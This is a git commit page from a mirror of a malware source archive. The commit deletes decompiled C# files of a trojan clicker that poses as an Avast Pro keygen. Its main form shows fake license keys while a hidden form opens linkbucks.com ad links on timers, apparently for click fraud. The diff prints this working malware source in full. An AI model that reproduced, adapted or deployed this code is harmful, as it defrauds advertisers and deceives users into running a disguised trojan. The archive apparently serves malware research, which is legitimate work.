ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-18 17:36:11 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

add

Browse Source
This commit is contained in:
vxunderground 2022-08-22 06:37:11 -05:00
parent b077d1c807
commit 28d6743405
2128 changed files with 0 additions and 486608 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

263
MSIL/Trojan-Clicker/MSIL/D/Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b/AboutBox1.cs
View File

@ -1,263 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: WindowsApplication1.AboutBox1
// Assembly: Avast KeyGen, Version=7.3.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F14EBA9D-BE9A-4819-8979-4625F2144CC9
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Runtime.CompilerServices;
using System.Windows.Forms;
using WindowsApplication1.My;
namespace WindowsApplication1
{
[DesignerGenerated]
public sealed class AboutBox1 : Form
{
private IContainer components;
[AccessedThroughProperty("Button1")]
private Button _Button1;
[AccessedThroughProperty("TextBox1")]
private TextBox _TextBox1;
[AccessedThroughProperty("Label2")]
private Label _Label2;
[AccessedThroughProperty("Button2")]
private Button _Button2;
[DebuggerNonUserCode]
public AboutBox1()
{
this.Load += new EventHandler(this.AboutBox1_Load);
this.InitializeComponent();
}
[DebuggerNonUserCode]
protected override void Dispose(bool disposing)
{
try
{
if (!disposing || this.components == null)
return;
this.components.Dispose();
}
finally
{
base.Dispose(disposing);
}
}
[DebuggerStepThrough]
private void InitializeComponent()
{
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (AboutBox1));
this.Button1 = new Button();
this.TextBox1 = new TextBox();
this.Label2 = new Label();
this.Button2 = new Button();
this.SuspendLayout();
this.Button1.Font = new Font("Space Bd BT", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.Button1.ForeColor = Color.DodgerBlue;
Button button1_1 = this.Button1;
Point point1 = new Point(11, 176);
Point point2 = point1;
button1_1.Location = point2;
this.Button1.Name = "Button1";
Button button1_2 = this.Button1;
Size size1 = new Size(383, 26);
Size size2 = size1;
button1_2.Size = size2;
this.Button1.TabIndex = 0;
this.Button1.Text = "Generate";
this.Button1.UseVisualStyleBackColor = true;
this.TextBox1.BackColor = Color.Black;
this.TextBox1.Font = new Font("Space Bd BT", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.TextBox1.ForeColor = Color.Azure;
TextBox textBox1_1 = this.TextBox1;
point1 = new Point(12, 208);
Point point3 = point1;
textBox1_1.Location = point3;
this.TextBox1.Multiline = true;
this.TextBox1.Name = "TextBox1";
TextBox textBox1_2 = this.TextBox1;
size1 = new Size(382, 26);
Size size3 = size1;
textBox1_2.Size = size3;
this.TextBox1.TabIndex = 1;
this.Label2.AutoSize = true;
this.Label2.BackColor = Color.MidnightBlue;
this.Label2.Font = new Font("Space Bd BT", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.Label2.ForeColor = Color.Azure;
Label label2_1 = this.Label2;
point1 = new Point(8, 237);
Point point4 = point1;
label2_1.Location = point4;
this.Label2.Name = "Label2";
Label label2_2 = this.Label2;
size1 = new Size(394, 13);
Size size4 = size1;
label2_2.Size = size4;
this.Label2.TabIndex = 4;
this.Label2.Text = "Made By : Cyp3rW0lf , V4P|Raz , DeScrypter , 1mortal , Humanidea1971.";
this.Button2.BackColor = Color.DodgerBlue;
this.Button2.Font = new Font("Space Bd BT", 12f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.Button2.ForeColor = Color.White;
Button button2_1 = this.Button2;
point1 = new Point(369, 3);
Point point5 = point1;
button2_1.Location = point5;
this.Button2.Name = "Button2";
Button button2_2 = this.Button2;
size1 = new Size(33, 31);
Size size5 = size1;
button2_2.Size = size5;
this.Button2.TabIndex = 5;
this.Button2.Text = "X";
this.Button2.UseVisualStyleBackColor = false;
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
this.BackColor = Color.White;
this.BackgroundImage = (Image) WindowsApplication1.My.Resources.Resources.windows_7_wallpaper_by_p_com_copy;
this.BackgroundImageLayout = ImageLayout.Stretch;
size1 = new Size(406, (int) byte.MaxValue);
this.ClientSize = size1;
this.Controls.Add((Control) this.Button2);
this.Controls.Add((Control) this.Label2);
this.Controls.Add((Control) this.TextBox1);
this.Controls.Add((Control) this.Button1);
this.FormBorderStyle = FormBorderStyle.None;
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = nameof (AboutBox1);
this.Padding = new Padding(9);
this.ShowInTaskbar = false;
this.StartPosition = FormStartPosition.CenterParent;
this.Text = "(Avast) Pro -[KeyGen]-";
this.ResumeLayout(false);
this.PerformLayout();
}
internal virtual Button Button1
{
[DebuggerNonUserCode] get => this._Button1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Button1_Click);
if (this._Button1 != null)
this._Button1.Click -= eventHandler;
this._Button1 = value;
if (this._Button1 == null)
return;
this._Button1.Click += eventHandler;
}
}
internal virtual TextBox TextBox1
{
[DebuggerNonUserCode] get => this._TextBox1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
}
internal virtual Label Label2
{
[DebuggerNonUserCode] get => this._Label2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value;
}
internal virtual Button Button2
{
[DebuggerNonUserCode] get => this._Button2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Button2_Click);
if (this._Button2 != null)
this._Button2.Click -= eventHandler;
this._Button2 = value;
if (this._Button2 == null)
return;
this._Button2.Click += eventHandler;
}
}
private void AboutBox1_Load(object sender, EventArgs e)
{
MyProject.Forms.Form1.Show();
this.ShowInTaskbar = false;
}
private void OKButton_Click(object sender, EventArgs e)
{
}
private void Button1_Click(object sender, EventArgs e)
{
this.TextBox1.Text = Conversions.ToString(Conversion.Int(VBMath.Rnd() * 12f));
string text = this.TextBox1.Text;
if (Operators.CompareString(text, Conversions.ToString(0), false) == 0)
this.TextBox1.Text = "W57510587H4600A1106-TEW5V316";
else if (Operators.CompareString(text, Conversions.ToString(1), false) == 0)
this.TextBox1.Text = "W75951546H5400A1106-1JNSMD2H";
else if (Operators.CompareString(text, Conversions.ToString(2), false) == 0)
this.TextBox1.Text = "S4648359R9965A0911-VY64X64X";
else if (Operators.CompareString(text, Conversions.ToString(3), false) == 0)
this.TextBox1.Text = "S1717494R9947A0912-EEX4PMH2";
else if (Operators.CompareString(text, Conversions.ToString(4), false) == 0)
this.TextBox1.Text = "S1375554R9947A0910-WAEU1MU4";
else if (Operators.CompareString(text, Conversions.ToString(5), false) == 0)
this.TextBox1.Text = "S5031367R9972A0912-92WUAMEZ";
else if (Operators.CompareString(text, Conversions.ToString(6), false) == 0)
this.TextBox1.Text = "S3117682R9962A0912-ZJVXJCR3";
else if (Operators.CompareString(text, Conversions.ToString(7), false) == 0)
this.TextBox1.Text = "S8914670R9954A0910-168RA8U4";
else if (Operators.CompareString(text, Conversions.ToString(8), false) == 0)
this.TextBox1.Text = "S3564026R9961A0910-EHW91PYP";
else if (Operators.CompareString(text, Conversions.ToString(9), false) == 0)
this.TextBox1.Text = "S5018912R9963A0911-JHCC3BJC";
else if (Operators.CompareString(text, Conversions.ToString(10), false) == 0)
this.TextBox1.Text = "S3595221R9940A0910-DSEP70F1";
else if (Operators.CompareString(text, Conversions.ToString(11), false) == 0)
this.TextBox1.Text = "S6948697R9950A0910-T3W734HE";
else if (Operators.CompareString(text, Conversions.ToString(12), false) == 0)
this.TextBox1.Text = "S1829591R9977A0910-M259SV3X";
else if (Operators.CompareString(text, Conversions.ToString(13), false) == 0)
this.TextBox1.Text = "S4052844R9947A0910-DT52DW7K";
else if (Operators.CompareString(text, Conversions.ToString(14), false) == 0)
this.TextBox1.Text = "S9448143R9963A0910-LM9LZ83E";
else if (Operators.CompareString(text, Conversions.ToString(15), false) == 0)
this.TextBox1.Text = "S7081886R9964A0912-2D1EKD69";
else if (Operators.CompareString(text, Conversions.ToString(16), false) == 0)
this.TextBox1.Text = "S6654053R9975A0911-BBSWY8XU";
else if (Operators.CompareString(text, Conversions.ToString(17), false) == 0)
this.TextBox1.Text = "S5073670R9951A0911-KHRWF1KC";
else if (Operators.CompareString(text, Conversions.ToString(18), false) == 0)
this.TextBox1.Text = "S2502250R9971A0912-7RPFUM3M";
else if (Operators.CompareString(text, Conversions.ToString(19), false) == 0)
this.TextBox1.Text = "S9431872R9978A0910-CSXU36YZ";
else if (Operators.CompareString(text, Conversions.ToString(20), false) == 0)
this.TextBox1.Text = "S7502701M8750S1169-D0KDBB8H";
else if (Operators.CompareString(text, Conversions.ToString(21), false) == 0)
this.TextBox1.Text = "C08998884R9900N5999-SS7CTHUM";
else if (Operators.CompareString(text, Conversions.ToString(22), false) == 0)
this.TextBox1.Text = "C38799999R9900F6961-ZYYBS2B4";
else if (Operators.CompareString(text, Conversions.ToString(23), false) == 0)
this.TextBox1.Text = "C97897897R9900H8577-DS7BFPTD";
else if (Operators.CompareString(text, Conversions.ToString(24), false) == 0)
{
this.TextBox1.Text = "W75344574R9900W7584-6FJL9HF1";
}
else
{
if (Operators.CompareString(text, Conversions.ToString(25), false) != 0)
return;
this.TextBox1.Text = "S89883292R9900Y9999-MT09NNDE";
}
}
private void Button2_Click(object sender, EventArgs e) => this.Hide();
}
}

123
MSIL/Trojan-Clicker/MSIL/D/Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b/AboutBox1.resx
View File

File diff suppressed because one or more lines are too long

13
MSIL/Trojan-Clicker/MSIL/D/Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b/AssemblyInfo.cs
View File

@ -1,13 +0,0 @@
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyCopyright("KGB Copyright © 2009")]
[assembly: ComVisible(false)]
[assembly: AssemblyProduct("Made In Earth")]
[assembly: AssemblyCompany("KGB")]
[assembly: AssemblyDescription("KeyGen")]
[assembly: AssemblyTitle("(Avast) Pro -[KeyGen]-")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyFileVersion("7.3.0.0")]
[assembly: Guid("87d88c2b-fbb1-4ade-a4d7-018400eb78e8")]
[assembly: AssemblyVersion("7.3.0.0")]

344
MSIL/Trojan-Clicker/MSIL/D/Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b/Form1.cs
View File

@ -1,344 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: WindowsApplication1.Form1
// Assembly: Avast KeyGen, Version=7.3.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F14EBA9D-BE9A-4819-8979-4625F2144CC9
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Runtime.CompilerServices;
using System.Windows.Forms;
namespace WindowsApplication1
{
[DesignerGenerated]
public class Form1 : Form
{
private IContainer components;
[AccessedThroughProperty("WebBrowser1")]
private WebBrowser _WebBrowser1;
[AccessedThroughProperty("ProgressBar1")]
private ProgressBar _ProgressBar1;
[AccessedThroughProperty("Timer1")]
private Timer _Timer1;
[AccessedThroughProperty("TextBox1")]
private TextBox _TextBox1;
[AccessedThroughProperty("Button1")]
private Button _Button1;
[AccessedThroughProperty("ProgressBar2")]
private ProgressBar _ProgressBar2;
[AccessedThroughProperty("Timer2")]
private Timer _Timer2;
[AccessedThroughProperty("ProgressBar3")]
private ProgressBar _ProgressBar3;
[AccessedThroughProperty("Timer3")]
private Timer _Timer3;
[DebuggerNonUserCode]
public Form1()
{
this.Load += new EventHandler(this.Form1_Load);
this.InitializeComponent();
}
[DebuggerNonUserCode]
protected override void Dispose(bool disposing)
{
try
{
if (!disposing || this.components == null)
return;
this.components.Dispose();
}
finally
{
base.Dispose(disposing);
}
}
[DebuggerStepThrough]
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
this.WebBrowser1 = new WebBrowser();
this.ProgressBar1 = new ProgressBar();
this.Timer1 = new Timer(this.components);
this.TextBox1 = new TextBox();
this.Button1 = new Button();
this.ProgressBar2 = new ProgressBar();
this.Timer2 = new Timer(this.components);
this.ProgressBar3 = new ProgressBar();
this.Timer3 = new Timer(this.components);
this.SuspendLayout();
WebBrowser webBrowser1_1 = this.WebBrowser1;
Point point1 = new Point(12, 115);
Point point2 = point1;
webBrowser1_1.Location = point2;
WebBrowser webBrowser1_2 = this.WebBrowser1;
Size size1 = new Size(20, 20);
Size size2 = size1;
webBrowser1_2.MinimumSize = size2;
this.WebBrowser1.Name = "WebBrowser1";
WebBrowser webBrowser1_3 = this.WebBrowser1;
size1 = new Size(401, 232);
Size size3 = size1;
webBrowser1_3.Size = size3;
this.WebBrowser1.TabIndex = 0;
ProgressBar progressBar1_1 = this.ProgressBar1;
point1 = new Point(12, 67);
Point point3 = point1;
progressBar1_1.Location = point3;
this.ProgressBar1.Name = "ProgressBar1";
ProgressBar progressBar1_2 = this.ProgressBar1;
size1 = new Size(401, 12);
Size size4 = size1;
progressBar1_2.Size = size4;
this.ProgressBar1.TabIndex = 1;
this.Timer1.Interval = 300;
TextBox textBox1_1 = this.TextBox1;
point1 = new Point(12, 41);
Point point4 = point1;
textBox1_1.Location = point4;
this.TextBox1.Name = "TextBox1";
TextBox textBox1_2 = this.TextBox1;
size1 = new Size(401, 20);
Size size5 = size1;
textBox1_2.Size = size5;
this.TextBox1.TabIndex = 2;
Button button1_1 = this.Button1;
point1 = new Point(12, 12);
Point point5 = point1;
button1_1.Location = point5;
this.Button1.Name = "Button1";
Button button1_2 = this.Button1;
size1 = new Size(401, 23);
Size size6 = size1;
button1_2.Size = size6;
this.Button1.TabIndex = 3;
this.Button1.Text = "Button1";
this.Button1.UseVisualStyleBackColor = true;
ProgressBar progressBar2_1 = this.ProgressBar2;
point1 = new Point(12, 96);
Point point6 = point1;
progressBar2_1.Location = point6;
this.ProgressBar2.Name = "ProgressBar2";
ProgressBar progressBar2_2 = this.ProgressBar2;
size1 = new Size(401, 11);
Size size7 = size1;
progressBar2_2.Size = size7;
this.ProgressBar2.TabIndex = 4;
this.Timer2.Interval = 400;
ProgressBar progressBar3_1 = this.ProgressBar3;
point1 = new Point(12, 353);
Point point7 = point1;
progressBar3_1.Location = point7;
this.ProgressBar3.Name = "ProgressBar3";
ProgressBar progressBar3_2 = this.ProgressBar3;
size1 = new Size(401, 10);
Size size8 = size1;
progressBar3_2.Size = size8;
this.ProgressBar3.TabIndex = 5;
this.Timer3.Interval = 7500;
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
size1 = new Size(425, 359);
this.ClientSize = size1;
this.Controls.Add((Control) this.ProgressBar3);
this.Controls.Add((Control) this.ProgressBar2);
this.Controls.Add((Control) this.Button1);
this.Controls.Add((Control) this.TextBox1);
this.Controls.Add((Control) this.ProgressBar1);
this.Controls.Add((Control) this.WebBrowser1);
this.Name = nameof (Form1);
this.Text = nameof (Form1);
this.ResumeLayout(false);
this.PerformLayout();
}
internal virtual WebBrowser WebBrowser1
{
[DebuggerNonUserCode] get => this._WebBrowser1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._WebBrowser1 = value;
}
internal virtual ProgressBar ProgressBar1
{
[DebuggerNonUserCode] get => this._ProgressBar1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._ProgressBar1 = value;
}
internal virtual Timer Timer1
{
[DebuggerNonUserCode] get => this._Timer1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
if (this._Timer1 != null)
this._Timer1.Tick -= eventHandler;
this._Timer1 = value;
if (this._Timer1 == null)
return;
this._Timer1.Tick += eventHandler;
}
}
internal virtual TextBox TextBox1
{
[DebuggerNonUserCode] get => this._TextBox1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
}
internal virtual Button Button1
{
[DebuggerNonUserCode] get => this._Button1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Button1_Click);
if (this._Button1 != null)
this._Button1.Click -= eventHandler;
this._Button1 = value;
if (this._Button1 == null)
return;
this._Button1.Click += eventHandler;
}
}
internal virtual ProgressBar ProgressBar2
{
[DebuggerNonUserCode] get => this._ProgressBar2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._ProgressBar2 = value;
}
internal virtual Timer Timer2
{
[DebuggerNonUserCode] get => this._Timer2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Timer2_Tick);
if (this._Timer2 != null)
this._Timer2.Tick -= eventHandler;
this._Timer2 = value;
if (this._Timer2 == null)
return;
this._Timer2.Tick += eventHandler;
}
}
internal virtual ProgressBar ProgressBar3
{
[DebuggerNonUserCode] get => this._ProgressBar3;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._ProgressBar3 = value;
}
internal virtual Timer Timer3
{
[DebuggerNonUserCode] get => this._Timer3;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Timer3_Tick);
if (this._Timer3 != null)
this._Timer3.Tick -= eventHandler;
this._Timer3 = value;
if (this._Timer3 == null)
return;
this._Timer3.Tick += eventHandler;
}
}
private void Form1_Load(object sender, EventArgs e)
{
this.Timer3.Start();
this.Timer1.Start();
this.Timer1.Enabled = true;
if (this.Timer1.Enabled)
this.WebBrowser1.Navigate(this.TextBox1.Text);
if (this.Timer2.Enabled)
this.WebBrowser1.Navigate(this.TextBox1.Text);
this.Visible = false;
this.Hide();
this.ShowInTaskbar = false;
this.Hide();
this.WindowState = FormWindowState.Minimized;
}
private void Button1_Click(object sender, EventArgs e)
{
this.TextBox1.Text = Conversions.ToString(Conversion.Int(VBMath.Rnd() * 8f));
string text = this.TextBox1.Text;
if (Operators.CompareString(text, Conversions.ToString(0), false) == 0)
this.TextBox1.Text = "http://df3c57ee.linkbucks.com";
else if (Operators.CompareString(text, Conversions.ToString(1), false) == 0)
this.TextBox1.Text = "http://521b42b5.linkbucks.comm";
else if (Operators.CompareString(text, Conversions.ToString(2), false) == 0)
this.TextBox1.Text = "http://789d8b6b.linkbucks.com";
else if (Operators.CompareString(text, Conversions.ToString(3), false) == 0)
this.TextBox1.Text = "http://66c0c10e.linkbucks.com";
else if (Operators.CompareString(text, Conversions.ToString(4), false) == 0)
this.TextBox1.Text = "http://216ab881.linkbucks.com";
else if (Operators.CompareString(text, Conversions.ToString(5), false) == 0)
this.TextBox1.Text = "http://750e723c.linkbucks.com";
else if (Operators.CompareString(text, Conversions.ToString(6), false) == 0)
this.TextBox1.Text = "http://4cd5abd0.linkbucks.com";
else if (Operators.CompareString(text, Conversions.ToString(7), false) == 0)
this.TextBox1.Text = "http://ad7a09b5.linkbucks.com";
else if (Operators.CompareString(text, Conversions.ToString(8), false) == 0)
this.TextBox1.Text = "http://4555b72f.linkbucks.com";
else if (Operators.CompareString(text, Conversions.ToString(9), false) == 0)
this.TextBox1.Text = "http://6415f4c8.linkbucks.com";
else if (Operators.CompareString(text, Conversions.ToString(10), false) == 0)
this.TextBox1.Text = "http://ec156a5b.linkbucks.com";
else if (Operators.CompareString(text, Conversions.ToString(11), false) == 0)
this.TextBox1.Text = "http://85374e1f.linkbucks.com";
else if (Operators.CompareString(text, Conversions.ToString(12), false) == 0)
this.TextBox1.Text = "http://bbedcc2c.linkbucks.com";
else if (Operators.CompareString(text, Conversions.ToString(13), false) == 0)
this.TextBox1.Text = "http://3da53239.linkbucks.com";
else if (Operators.CompareString(text, Conversions.ToString(14), false) == 0)
{
this.TextBox1.Text = "http://65fa73c1.linkbucks.com";
}
else
{
if (Operators.CompareString(text, Conversions.ToString(15), false) != 0)
return;
this.TextBox1.Text = "http://6a697c9e.linkbucks.com";
}
}
private void Timer1_Tick(object sender, EventArgs e)
{
this.ProgressBar1.Value = this.ProgressBar1.Value != 100 ? checked ((int) Math.Round(unchecked (Conversion.Val((object) this.ProgressBar1.Value) + Conversion.Val((object) 1)))) : 100;
if (this.ProgressBar1.Value != this.ProgressBar1.Maximum)
return;
this.Button1.PerformClick();
this.Timer1.Stop();
this.ProgressBar1.Value = 0;
this.Timer2.Start();
this.WebBrowser1.Navigate(this.TextBox1.Text);
}
private void Timer2_Tick(object sender, EventArgs e)
{
this.ProgressBar2.Value = this.ProgressBar2.Value != 100 ? checked ((int) Math.Round(unchecked (Conversion.Val((object) this.ProgressBar2.Value) + Conversion.Val((object) 1)))) : 100;
if (this.ProgressBar2.Value != this.ProgressBar2.Maximum)
return;
this.Button1.PerformClick();
this.Timer2.Stop();
this.ProgressBar2.Value = 0;
this.Timer1.Start();
this.WebBrowser1.Navigate(this.TextBox1.Text);
}
private void Timer3_Tick(object sender, EventArgs e)
{
this.ProgressBar3.Value = this.ProgressBar3.Value != 100 ? checked ((int) Math.Round(unchecked (Conversion.Val((object) this.ProgressBar3.Value) + Conversion.Val((object) 1)))) : 100;
if (this.ProgressBar3.Value != this.ProgressBar3.Maximum)
return;
Application.Exit();
}
}
}

120
MSIL/Trojan-Clicker/MSIL/D/Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b/Form1.resx
View File

@ -1,120 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>

48
MSIL/Trojan-Clicker/MSIL/D/Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b/My/MyApplication.cs
View File

@ -1,48 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: WindowsApplication1.My.MyApplication
// Assembly: Avast KeyGen, Version=7.3.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F14EBA9D-BE9A-4819-8979-4625F2144CC9
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.exe
using Microsoft.VisualBasic.ApplicationServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Windows.Forms;
namespace WindowsApplication1.My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyApplication : WindowsFormsApplicationBase
{
[EditorBrowsable(EditorBrowsableState.Advanced)]
[DebuggerHidden]
[STAThread]
internal static void Main(string[] Args)
{
try
{
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
}
finally
{
}
MyProject.Application.Run(Args);
}
[DebuggerStepThrough]
public MyApplication()
: base(AuthenticationMode.Windows)
{
this.IsSingleInstance = false;
this.EnableVisualStyles = true;
this.SaveMySettingsOnExit = true;
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
}
[DebuggerStepThrough]
protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.AboutBox1;
}
}

24
MSIL/Trojan-Clicker/MSIL/D/Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b/My/MyComputer.cs
View File

@ -1,24 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: WindowsApplication1.My.MyComputer
// Assembly: Avast KeyGen, Version=7.3.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F14EBA9D-BE9A-4819-8979-4625F2144CC9
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace WindowsApplication1.My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyComputer : Computer
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public MyComputer()
{
}
}
}

230
MSIL/Trojan-Clicker/MSIL/D/Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b/My/MyProject.cs
View File

@ -1,230 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: WindowsApplication1.My.MyProject
